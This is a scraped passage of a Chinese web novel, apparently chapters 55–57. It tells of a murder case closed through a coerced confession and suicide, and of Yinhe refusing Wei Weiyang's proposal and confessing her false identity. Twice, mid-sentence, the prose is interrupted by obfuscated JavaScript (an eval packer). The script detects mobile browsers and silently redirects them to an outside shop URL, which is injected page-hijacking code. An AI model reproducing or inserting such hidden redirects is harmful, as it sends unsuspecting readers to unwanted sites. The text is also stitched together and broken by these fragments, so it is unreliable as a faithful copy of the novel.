RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299620|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “也许诗钰姐姐不知道,也是被骗了。”隔了一会儿花瑶说。 “嗯。”银荷也在纳闷,诗钰如何搞到迷药,但愿她只是被人利用。 “我没告诉……没说我的名字。”花瑶用小得不能再小的声音说,“赵公子如何……” 银荷想起赵毅说的话,轻声道:“我只把你的名字告诉了他。我猜到是你,因为那天我贪玩回去晚了,织雨正想找我,她说蝶衣先前也在找你,她们都以为我们两个在一处。” “诗钰姐姐请我去她那儿坐坐,说你也在,我便跟她过去。那屋子黑着,她跟我说,准是你想吓唬我们,我们只管进去,一进屋就喊叫,反过来将你吓一跳。可我一进去,走了几步,就什么都不知道了。 “等我醒来,发现身上哪里都动不了。后来听到有人进来,我以为是坏人,但他的衣服和样子,让我想起……让我想到四哥,所以我相信他,就跟着他去——”花瑶又哭起来。 银荷安抚她:“等你见过赵公子,劝他翻供就好了,不会再有事。” “那到底是谁杀的人?”花瑶问。 “不知道。”银荷说,“管他是谁呢。” 第二次见赵毅就更顺当了。还是前一天那个地方,赵毅已经在等着他们。这次他换上了干净衣裳,枷锁、脚镣也都卸了。 狱吏昨日见男男女女俱是俊雅人物来访此一案犯,早就心中称奇。今日更了不得,一下来了两位姑娘:两人作一样打扮,都戴着帏帽,又都把那想必是修长秀美的身姿掩在披风之中。一个是昨日那位——声音听出来了,另一个一声不出,但犯人一见她就激动得什么都不顾了,前面那姑娘用那么动听的声音对他说话,他竟全然没注意到。 两个差人不免想要再睹一睹这另一位姑娘的仙容,可惜她不肯露脸。他们磨蹭一阵,只得压住好奇,不等催促便识趣地离开,暗自感慨:果真是万般皆下品,唯有读书高。 花澈向外摆摆头,于是银荷同他一起出去,花瑶没拦他们。 站在廊前,见四下无人,银荷撩开面纱,小声问道:“这下应该没问题了吧。” 花澈说:“马上我就去郭家问清楚,早点了结,最迟明日就能把赵公子放出来。” 银荷想了想,还是皱眉说:“不过他们总还会再抓一个人?郭姑娘毕竟与杀人无干,这个不能赖她。” “不会冤了好人。这回一定料理妥当,绝不能让妹妹担一点儿风险。” “会担什么风险,如果一直抓不到人,是不是就会审问我们?”银荷疑惑地问。 “原本不会。不过事情只要没到最后总有可能节外生枝,比方说要是卫公子——”花澈看着银荷,“妹妹知道卫公子与刑部任大人家常有来往,要是他去提一句,让刑部过问此案,来提人审讯,就真的不太好办了。任大人铁面无私,而且有几分本事,若说真有人能看出来是妹妹做的,那大概便是他了。” “哦,我想起来了,是任姑娘的父亲,难怪能教出那样的女儿。”银荷敬佩地说。 “你倒真是不怕。”花澈惊讶地瞧瞧银荷。“人们都说只有为了女儿,任大人才可能徇私,我看这都未必。总之那人难缠,咱们还是多一事不如少一事好。” 银荷信任地瞥一眼花澈,这让他心中很是得意,以为卫维扬不足挂虑,不如将那件事告诉银荷也无妨。 花瑶走过来,向二人点点头。 55. 算账 花澈先找到郭传智,在屋子里待了三柱香工夫,出来后,又去寻郭诗钰。 诗钰见到他,原本憔悴的脸变得毫无血色。 “三——” 花澈挥手打断:“郭姑娘不用害怕,郭传智已经死了。你可以把事情原原本本说出来,如果你怕的是其他人,也可以告诉我。” “死了?”诗钰惊慌地喊道。 花澈点点头:“他已经承认是他杀的人。” “不是赵公子?” “不是。” 诗钰长舒一口气。 “你堂兄承认了别的事,但他可没骗花瑶。”花澈提醒道。 诗钰又张皇失措起来:“我,不是,我,我也没有想骗花瑶妹妹。” “三妹可不是这么对我说。我当然相信她。” “是,是曲姑娘要我做的。”诗钰孤注一掷道。 “她怎么知道的,为何要你做,对她有什么好处?” 诗钰看花澈显露出好奇,胆子大了一些:“是我告诉了曲姑娘。我嫂子说为客人收拾屋子时,落了东西在那儿,要我趁客人还没回屋,帮她取回来。我知道他们没安好心,就请曲姑娘出个主意。曲姑娘说我逃过这次还有下次,但如果是瑶妹妹,我兄长肯定会担干系,以后我就可以没事了。她还说,她与瑶妹妹拌了嘴,她出面瑶妹妹不会信,让我自己去说。当时我着急,没多想,后来我想,她们拌嘴大概是为……翰林院的卫公子……” 谎话过于拙劣蹩脚,花澈都懒得驳斥。其实他倒是特别希望能一声断喝:她根本不喜欢卫维扬! 银荷原还叫她“诗钰姐姐”,为此,他多少替银荷解释几句:“若是曲姑娘出主意,能做得更高明,不叫人知道。不过她不会做出这样事情,不管为了什么。” 然后他用更平淡的语气说:“郭姑娘若有不放心之事,写下来,回头我让人办。给你半天工夫,够不够?” 诗钰脸色由茫然转为吃惊,又像片树叶般颤抖起来。 花澈没等到她开口,正想离开。诗钰突然猛冲过来,拦在他面前,用力抓住门框。“我只求你一件事。” “不必求我,郭姑娘有什么吩咐请尽管提,能做到的我都会照做。” “别让我的表兄知道。” “你说赵毅?”花澈拧起眉。这事倒是再容易不过,但他不晓得花瑶是不是已经说了。 诗钰以为他不肯答应,簌簌流下泪:“我后悔了,真的后悔了。我去找表兄,可他已经不喜欢我了。如果我和那个人在一起,他就会永远看不起我。 “我知道堂兄不会善罢甘休。但我不知道该怎么办,我心里想,如果是瑶姑娘,我堂兄就会害怕,会收手。我骗瑶妹妹进屋,我在旁边躲着。过了一会儿有个小厮出来,我以为他会去告诉堂兄,堂兄知道后,瑶妹妹肯定不会有事。我怕他再找我,就回屋装睡觉,我不晓得后面还发生了什么。瑶姑娘那么好,我真的没有存心要害她。 “反正他也不会再想起我了,求你别让他知道我是这样的人,别让他更讨厌我……” 花澈心生触动。不管郭诗钰有意还是无意,她说出了唯一能令他心软的话。天底下每一位情意绵绵提起表哥的姑娘自然不会太坏,或许值得被原谅一次。 犹豫了一会儿,他说:“好,我答应你。还好三妹没事,不妨说与你知道,那小厮黑暗里并没认清人。后来赵毅过去了,本是想去救你,阴差阳错救了花瑶。” 诗钰发出一阵压抑不住的啜泣。 花澈接着说:“不知你有没有去处,若不愿投靠亲友,我会找人为你安排。只一样,不得留在京城,以后也不得再见我家里人。” 诗钰低头捂住脸:“哪里都行,我愿意去远远的。对两位妹妹,我很抱歉。” “那好,等下会有人找你。今天的事情不要对任何人提。”花澈简单地说。 他已经跨出了门,又忽地停下:“我还有一事想问。你刚才说关于卫公子,你是如何知道,还是听谁说起过?” . 第二日赵毅就给放了出来。案情又有了变化,赵毅翻供说他并未杀人,之前乃是受到表兄郭传智胁迫。而郭传智被发现在家中悬梁自尽,死前留下了悔罪书,详述事情经过:他已债台高筑,认识葛全有后,见他好色,便想将堂妹用三千两银子聘给他。他将葛请到家中后,发现葛并无诚意,不但不想娶堂妹,还使用迷香意图不轨,于是一怒之下将其杀死。因早年郭家曾接济过表弟赵毅,他便利用赵毅的感恩心理将此事栽给他。 与郭传智合谋杀人的还有郭家一个家丁,也同样畏罪自尽。这些事实足够了结案子,谁也不认为还值得再费周章。 至于被害的葛全有,原先他有个做官的叔伯,前段时候此人犯事革职,葛家上下慌乱,便顾不上在京城花天酒地的葛全有。等他们得到噩耗,进京领尸,便再有话,想必已经太晚了。 花瑶听见结果,不疑有它,放下心来。银荷则问花澈:“郭传智并没有杀人,如何认罪自尽的?” “他比葛全有好不到哪里去。他做了什么妹妹还是不要知道的好,免得听了难受。总之妹妹信我,他绝对死有余辜。我告诉他若不想殃及家人,就悔罪自杀,还能好看些。他还有儿女,只好照办了。” “那郭姑娘呢,她真是存心骗了瑶妹妹?” “大概是一时糊涂吧。不过我看她倒是有悔过之意。郭家她是待不下去了,我让人送她回她姨娘老家,若她再不生别的坏心,安安逸逸过一辈子总不成问题。——这样,妹妹可还满意?” “我没有其它意思,三表哥做什么都很妥当。”银荷不自在地说。 “不,我也没有其它意思,只是希望妹妹心安。”花澈停了一会儿认真说道,“做事漂亮的是妹妹。这次多亏有妹妹在。” 这是他对银荷最郑重的一次称赞和感谢,银荷只觉得更加不自在,她宁可他泼些冷水。 “我只是为了自己。”她低声道。 “那我们的目的就是一样的。” “我回去了。”银荷说。她是主动来找花澈,为了问清楚案子的结果。这是最后一次过来,她在心里暗道。 花澈好似没听见她的话。“此事既了,妹妹也该放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卫维扬喜道:“曲姑娘确实俊慧绝伦。学生愚鲁,但若幸得曲姑娘垂青,定全心全意相待。此事本该正式请老师做媒,但曲姑娘父孝在身,学生不敢贸然提及。”停了停,又说,“我知现在时候不好,但学生心切,还请老师在老太太面前先替学生说句话。” “那还用说,”三老爷拍着卫维扬肩膀笑道,“哪有时候不好,国事重,家事更重,这种事情,什么时候都是好时候。其实我比你还要高兴,等这天等了好久了。你放心,我一定把事情给你办成,也算对得起你父亲当日一番托付。” 卫维扬大喜,振振衣袖,又是一拜:“多谢老师。” 卫维扬离去后不久,三太太走进来。 “老爷今日得空?” “今日倒是无事。”三老爷赶紧说,一面站起身。 三太太忙要他坐下,自己也对面坐了说:“老爷如今事忙,更要当心身体。”两人闲话几句家常,三太太说,“如今涛儿既取了功名,老爷又刚好回来,我看过段时候,等安稳了,不如先给涛儿说好亲事,我也就没什么不放心的了。” “相中了谁家的姑娘?” 三太太笑道:“老爷知道我懒怠在外面走动,别家的姑娘也不大认得。我看现在家里这个就很好,一来日子长了彼此熟悉,我瞧这丫头性子甚好,二来老太太想必也高兴,可不是两全其美?” “你说的可是曲表姑娘?” “正是她,老爷意下如何?” 56. 表白 三老爷听太太说这话,问:“你说老太太高兴是何意?老太太亦想将曲姑娘许给涛儿?” “老太太倒没有明说,我瞧着是舍不得把她嫁出去。既是这个想法,岂不容易办?他们那边三儿千好万好,却是个上不了笼头的野马,不如说给涛儿,我看涛儿与曲姑娘倒能合辙。” 三老爷停了停说:“怎么,涛儿有意于曲姑娘?” 三太太叹道:“如今涛儿愈发古怪了,心里怎么想的,哪里会跟我说。不过他常问起表姑娘,见面时也能说上几句话。” 三老爷沉吟着:“涛儿还小,倒也不急在一时。” “并不算太小。”三太太笑道。“老爷当初……婚事晚一二年倒不要紧,总归先跟老太太说一声。” “是,是,不算太小。”三老爷笑着说,“我总还是几年前的印象。这下涛儿是出息了,全赖你辛苦操持。如今我也是长在家里,前面没费心,后面总要好好弥补。你放心,一定给涛儿寻个好媳妇。——我先问问涛儿的意思,毕竟都在家里住着,要是万一不成,对曲姑娘也不好。” 三太太便没话再说,略问几句别的就自去了。 三老爷雷厉风行,这日傍晚前就叫来花涛。 花涛什么时候见到父亲,都是毕恭毕敬,行礼后站着说:“父亲叫儿子来有什么吩咐。” “你先坐下。”看花涛在旁边一张椅子上直直坐了,三老爷才说,“我听你母亲说,你和你的表妹投缘。” 好像椅子上长出了针,花涛一下子站起来,脸涨红了:“母亲是从哪里听得?” “这么说确实是?”三老爷意外道,“这倒是有点儿难办,我都答应了维扬,那么只好看看曲姑娘自己是个什么想法了。” 花涛定定神:“不知母亲如何会想岔了,我对……儿子尚不能安身立命,还没有成亲的打算。” 三老爷连连摆手:“先别说那些,咱们家难道还养不起个媳妇?” “卫大哥待我如亲兄长一般,儿子由衷盼望他和表妹能喜结同心。” “那么你……不是因为维扬?” 花涛摇头:“不是,我对表妹……自始至终我对表妹都和二妹三妹是一样看待的。” 三老爷舒了口气:“如此就好。你娘说你关心表妹,我以为——” “那是为了卫大哥。儿子言行欠妥,让母亲误会了。” “不要紧,回头我会和你母亲说清楚。不怪她误会,你也不小了,该有个打算。你有什么想法,和你母亲总能说得。其实告诉她更好些,省得她着急。” 花涛迟疑了一下说:“是儿子不孝。不过儿子确实没考虑过这些。我根基尚浅,不想成家后还要仰仗三哥。” “这是怎么说,你就是仰仗也是仰仗我,和你三哥有什么关系?”三老爷愕然道。 “儿子的意思是,”花涛脸又红了,“儿子别说不比父亲当年,比三哥也差之远矣。三哥尚未娶妻,儿子何来颜面先行说亲。” 三老爷呆了半天,方说:“你怎么会有这样想法?你比我强,比你三哥也不差。不过这事没人勉强你。你母亲那边我会先劝她,你不用担心。” 说罢,他挥挥手,花涛见他疲倦,默然行礼便退下了。 . “由儿,来见见你三伯父。” 银荷看老太太身旁站着位文采飘逸、气度不凡的中年男子,便上前行礼:“三伯父。” 可是迟迟无人说话,银荷自己抬起头来,只见三老爷正目不转瞬地盯着她,神情是惊讶中夹杂着欢喜,眼底似乎还隐隐闪烁有泪光。 银荷听卫维扬说过三老爷,知他待人极和善,且当初又与曲展是至交好友。不知是不是这个缘故,他见到“曲展的女儿”,格外激动。 三老爷这时回过神来:“你是由心,很好,很好,很好。”他连说三个很好,令银荷更加受之有愧,心中不安。 老太太招呼说:“在你三伯父跟前不用拘束,过来,坐下说话。”银荷便在她身边坐了。三老爷也坐到下首椅子上。老太太就问三老爷:“怎样,可是像她父亲?” “是。”三老爷忙道,“刚才我便想说。”他对银荷说,“当日你父亲在京城时,我和他两个很谈得来。一晃这么多年过去了,我该早去看看展弟,也不至于留下遗憾。” 他语气伤痛,显然是真情流露,银荷不禁也红了眼眶。 老太太忙劝:“展儿到底留下个好女儿。你多关照她,展儿也就能放心了。” 三老爷说:“那是一定,毋需母亲嘱咐。”他又向银荷道,“我那个不成器的小子没有欺负你吧。” 银荷忙笑答:“四表哥最是和气不过了。” 老太太笑说:“你三伯父最不会护短,你不用怕,只管告状。” 她向三老爷说:“由丫头是个老实孩子,不会撒谎。涛儿也是个老实孩子,他们姊妹一起倒是相处得好。”她又转向银荷,“我看也就是你三表哥会欺负人。” 银荷这下真的脸红了,她只说了句:“三表哥待我也很好。” 老太太听了极喜悦:“我一直说澈儿待人好,知冷热,别人还不服。由儿这么说绝没有假。” 三老爷笑道:“澈儿确实是个好孩子。” 不知为何,银荷感觉三老爷说话时意味深长地看着她,顿时如坐针毡。好在三老爷话题一转,又说起老太太做寿的事情。她才慢慢平静下来。 . 卫维扬自打向老师诉过心事,心中难免焦急,度日如年般。两日后,与老师才再见面。一见到,三老爷便说:“维扬,我答应你的事情怕是要食言了。” 卫维扬呆了一呆:“是老太太不同意?” “不是不是,我还没有向老太太提。” 卫维扬脸容顿变:“那是因为……曲姑娘她自己?” “不是。”三老爷摇头,“我也只是才刚见到我那表侄女。你先听我说,你和曲姑娘交情很好?” 卫维扬正色答道:“学生是和曲姑娘私下交谈过几次,学生的行为可能有些冒失,但学生一心敬重曲姑娘,绝无逾礼之处。曲姑娘更是光明磊落。” “我不是那个意思,难道我还不知你么?”三老爷瞧着他的学生,温和地责备道。 “学生错了。学生不敢妄称和曲姑娘心意相通——我们是很好的朋友。” “那就行了。”三老爷点点头,“你可有想过问问曲姑娘本人?” 卫维扬愣了一下,犹豫着说:“学生是想过,但学生又想曲姑娘身世孤孑,多得老太太疼爱,学生须先对老太太言明。倘老太太答允,曲姑娘仍可直言,纵于我无意,我亦无怨;若老太太不允,那是学生有所不足,学生自当竭力尽能,决不教曲姑娘难为。” “你这个想法是好。不过——”三老爷 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“正是。这里没人会来。”卫维扬说完,觉得这话不太坦荡,脸有些发烧。 银荷没注意,她被墙上挂的画吸引了。是一丛竹——不是一丛竹,是嵇、阮等人曾在其下纵饮狂歌、放言高论的那丛竹。整幅画一气呵成,银荷神往地瞧了半天,才看见落款,猛地转向卫维扬:“这是你画的,还是好多年前画的!你画得真好。” 大凡谦虚的人,受到人家当面夸赞,总免不了不自在,卫维扬不好意思地说:“我画得不好,不过是老师偏爱,才挂出来。” 银荷忍不住再去欣赏画,不过一转头,那竹叶好像在风中轻动,又是一样劲挺潇洒之姿。 银荷愈发觉得自己的画简直成了三岁幼童的涂鸦。她惭愧地想起上次在卫维扬家大笔一挥画的那幅荷塘图,实在是丢人,还好没有留下名字,不然可不是要被取笑。 “我从来没有见过卫大哥的画,只知画得好,哪晓得竟这么好。”她着迷地说。 银荷惊叹他的画,卫维扬却在心里惊叹她本人。他一度也以为自己画得不错,直到发现想画的那一幅,却怎么也画不好。虽然人物不是他最擅长的,但一般来说,他不用太费力气,便能画出人的韵致来。唯独对这位姑娘,他始终未得那支妙笔,能绘出她的骨秀神清。 难道是因为她一直在变,是因为他还从来没有真切地看清她? 她确实和上次见时又不一样了。每一次见,她都变得更炫目一些。现在的她如同新扎出地面的嫩笋,带着盎然生机,又带着一些忐忑。但这还不是她该有的样子。 她到底还有什么心结没解开?有的人追寻智慧,有的人追寻激昂,有的人追寻另一个人。她会是在等他吗? 两人坐下后,卫维扬便说:“你记不记得之前我出门一趟。我是去了矴州。” 银荷惊羡地看着他:“真的?卫大哥去那里做什么?卫大哥可喜欢那儿的景色?” “我很喜欢。我去那儿是为了看看姑娘长大的地方。” 银荷的话在嗓子眼哽住了。他话里包含的情意是她无法承受的。 “我很喜欢。”卫维扬又说一遍,目光温柔而严肃,“姑娘想不想回家乡?我有意离开京城,去那边生活。” 57. 无二 矴州。这段时候,银荷总想着矴州,日里梦里地想…… 回矴州去。她的心不由自主雀跃了一下,甚至忘了这个提议意味着什么。 她站起来,走到桌边。卫维扬也站起身,走到稍远些的地方,好像不肯打扰,让她细细考虑清楚。 银荷的目光扫过桌子,随手拿起一块竹节镇纸,贴在面颊上。 玉石冰凉的触感令她一激灵,想起自己置身何处。 这条镇纸与花澈那块几乎一模一样,因此,刚才一刹那,她恍恍惚惚,忘了时候。是什么时候?细想来,它一时近,一时又远了。 花澈要将镇纸送她。因太贵重,她不肯要。他说:“不过一件东西,能值几个。没有独一无二的物件,只有独一无二的人。” 果然能找到同样的物件。银荷猛然惊起,赶快把镇纸放下,放得稍重了些,啪嗒一声,似乎昭示了她要做出的回答。 她走回卫维扬面前,看着他,说:“我不能。” “那么留在京城?” 银荷摇了摇头:“卫大哥……” “你心里有其他人?” “不是。没有。”银荷干脆地答,脸有些红,不过她没有别开脸去。 卫维扬很想相信她的话。一来他觉得,这个姑娘的一言一行都让人相信,二来,愿意相信的事情信起来总是更容易。 但她回答得太快了,不可能是真的。 他还是坚持问了一句:“那是为什么?” 他温和的语气让银荷一阵心慌,她半玩笑似的说:“我也不懂为什么卫大哥会……我不是你想的那么好,我既不会写诗,也不会作画,很多东西都不懂。” “你不该这么说,我并没有把你看得比实际更好。” 卫维扬的话音依旧平和,但神情中露出责备。没说出的话是:“难道我不清楚你是什么样的人?难道我还没有让你清楚地了解我的想法?相貌也好,才情也罢,都不是最该看重的东西。” 究竟为什么,他在心里还对自己回答了更多。于是,他的眼神便又柔和下来。 银荷大受触动,至少他该得知真相。 她一下子就说出口:“我不是曲由心。我骗了你,骗了所有人。我叫银荷。” 卫维扬一震,脸色骤变,疑惑地看着她。 银荷告诉他事情的始末。从她有记忆起始,到她初来京城、做了花家的表姑娘为止。说了她和由心,说了葛全有,也说了他已死。她只隐瞒了一点,就是葛全有的名字,以及是自己杀了他。 她讲述时,卫维扬一次都没有打断,直到她说完,卫维扬还是久久没有说话。他震动得无以复加。 银荷说:“卫大哥也觉得我犯了不可弥补的过错吧。” 卫维扬这才意识到他的沉默可能遭到误解,他忙说:“不,我不觉得。我只是……” “你让我想想。”他来回走了两圈,然后站住。他很感激银荷给予他的信任,清楚它的份量,也因此在心中萌发了新的希望。他用更热切的语气说:“你没什么错,如果换作我,也不会做别的选择。但我明白,留下你总是心里过不去,要离开又更难受。既然是这样,那和我一起回矴州不是更好?花家于我们有恩,我们可以慢慢想办法报答。” 银荷又一次感动地说不出话来。他提到的前景,确是在当前情形下最好的解决办法。她喜欢卫维扬,也信赖他,见到他时她会开心,但,不见他时她会痛苦吗,他不在身边时,她会感到孤独无依吗? 不能再撒另一个谎。 “我不能。”银荷第二次说。 卫维扬这次没问原因,换了其它时候,谈话到这里早就该结束了。他不喜欢逼迫别人,让人为难。银荷是在为难,她被什么东西困住了,他能看得出来。 从一开始就错了。固然这位姑娘的风姿在他眼中一直变化,但他看她仍是片面。为此,卫维扬深感愧疚。 也不能任她这般,必须帮她一把。 “我明白了,我们不提这个了。”卫维扬亲切地看着银荷,像一个真正的兄长,“那么你有什么打算?” 银荷做出考虑的样子,其实心中很乱。她已经困扰了好久,未必这一时就能决定,可她突然说:“我想,迟早我还回矴州去。” “你忘了你姐姐的嘱咐?”卫维扬很温和地问。 “没忘。但姐姐她是希望我过得好。我回矴州,一样可以过得好。” 卫维扬轻轻摇了摇头:“姑娘能为我做件事吗?” “能。卫大哥请讲。” “不要离开这儿。除非你愿意和我一起,不然不要离开。” 银荷惊异地看着他:“为何?” “因为和你姐姐一样,我也认为,你留在花家很好。” “留在花家?”银荷脸红了。 卫维扬微笑着,没解释,“先不要走,你能答应我吗?” 银荷犹豫一下说:“好。可是我应该告诉……即使瞒着老太太,也应该告诉别人,说我不是真正的表姑娘,对么?” “这不能由我来说。”卫维扬道,“首先,请姑娘放心,你的事我不会对任何人讲。姑娘自己决定吧,随你告诉哪一个,他一定不会因此怪你,但是你不想告诉人也可以,无论哪样都没错。” 银荷在心里琢磨究竟哪样好,猛然想起该先道谢。“多谢卫大哥。” “我也该谢姑娘。”卫维扬最后一次定定注视她。 . 晚些时候,拜寿的客人都离去了。三老爷正陪老太太在屋里说话,花澈掀帘进来。 “三叔。”他招呼一声,看看桌上,从盘里捡了只梨子,走到一边坐下,旁若无人地吃起来。 另两人停下说话,都看向他。 “哪里上贡的梨,不太行。不如咱们自己庄上的,又甜又脆。”花澈评论道。 三老爷点头:“确实还是家里的果子好吃些。” 老太太说:“澈儿你来得正好,我们刚才说到你妹妹的事情。” “表妹?”花澈看一眼三老爷。 “正是。”老太太笑道,“你觉得卫家老二人怎么样?” 花澈又啃一口梨。 卫家老二?当然了,花涛是绝没可能的,至于卫维扬么……三老爷连他学生的闲事都要管,操心未免太过余! 老太太若知那回的事,能答应才怪了。 不过,论不着卫维扬其人怎样,只说银荷。若她有意卫维扬,前两日会那般赞扬任家小姐? 但话又讲回来,若自己明悉银荷心意,对卫维扬岂不是也能大度称赞?实情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322710|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却是,实在夸不出他一个字的好。 一时间,花澈深感恼火。 他站起身,掀开帘子,把啃剩的梨核随意向外一丢,没理会它刚好落进院角的筐内,拍两下手,走回坐下,冷冷回答道:“我和卫家哪个都没来往,不熟。” “真和你相熟的我还看不上呢。”老太太瞪他一眼,“我看那孩子蛮不错,像个世家公子的样,很懂礼貌。” “祖母眼里只要不是我这样的,大概全都好吧。” “可不是。”老太太继续说下去,“不光我一个人夸他,随便问谁,不说他风度好,有学问,人还谦虚。就算不理会人家说的,看你四弟常和他在一起,现在瞧着就比你们三个当哥哥的讨人喜欢多了。” “风度好,有学问,人还谦虚——怪道我和卫公子没交情呢。”花澈恹恹道。 “你既不熟就算了。说这事儿是因为,他对你妹妹好像也确实看重。” “这祖母又是如何得知,他今日究竟是拜寿来了还是提亲来了?” “维扬还没跟我提。不过你三叔清楚,要不是当真,也不会来告诉我,至少之前没听维扬说起过别家的姑娘。”老太太亦亲切地称名道姓。 “三叔这些年不在家,哪里知道京中的许多事情。” “维扬常常有信给我。”三老爷温和地说。 “他还在信里提到表妹了?” 三老爷摇摇头:“维扬和我师生多年了,我不会看错,他是真心实意的。” 花澈做出个不以为然的表情。 老太太拍拍桌子:“你对他到底有什么不满?” “谁?卫维扬?我对他哪有什么不满。不就会舞文弄墨,能念几句歪诗么。负心多是读书人,这话总不是我说的吧?”花澈只管讥讽,全然不顾三老爷脸上好看不好看。 老太太不理他,又说:“我知道他在京里名头响,好些人看重他。” 花澈打断:“好些人看重他?倒不如说明白,好些姑娘看重他吧。祖母不觉得毛病正在这儿——” “哪里有毛病?由儿难道还不如谁?两个人品正般配。” “祖母既是考虑妥当了,何必来问我?” “这么说你是不赞同了?”老太太干干地哼了声,“这样更好。要是你夸他,我还得掂量掂量他是不是真个儿可靠。” “我的看法不必管,也不消问多少人为他心折,只单看妹妹一个。”花澈站起身,“问也该去问妹妹。” “这些事情,姑娘家害羞,就是有什么想法怎么会直说。我老了,又不懂你们小孩子都是怎么搞的。”老太太重重叹口气,“你妹妹还和别人不一样,是个可怜孩子,只有我替她操着心,我总得给她找个可以托付一辈子的人。” “那就更应问明妹妹。这是妹妹的终身,谁说也没用。祖母既疼她,就让妹妹按自己的心意。妹妹是和别人不一样,她绝对可以自己给自己做主。”花澈已经走到门口,又停下,添上一句,“要是妹妹愿意,我当然没什么可说,而且半点儿不会拦着,我会给妹妹准备好嫁妆的。” 说罢,他掀帘而出,留下老太太和三老爷面面相觑。 良久,老太太叹息:“拿他没法,后面且看罢,我还嫌委屈了由儿。” . “银荷。”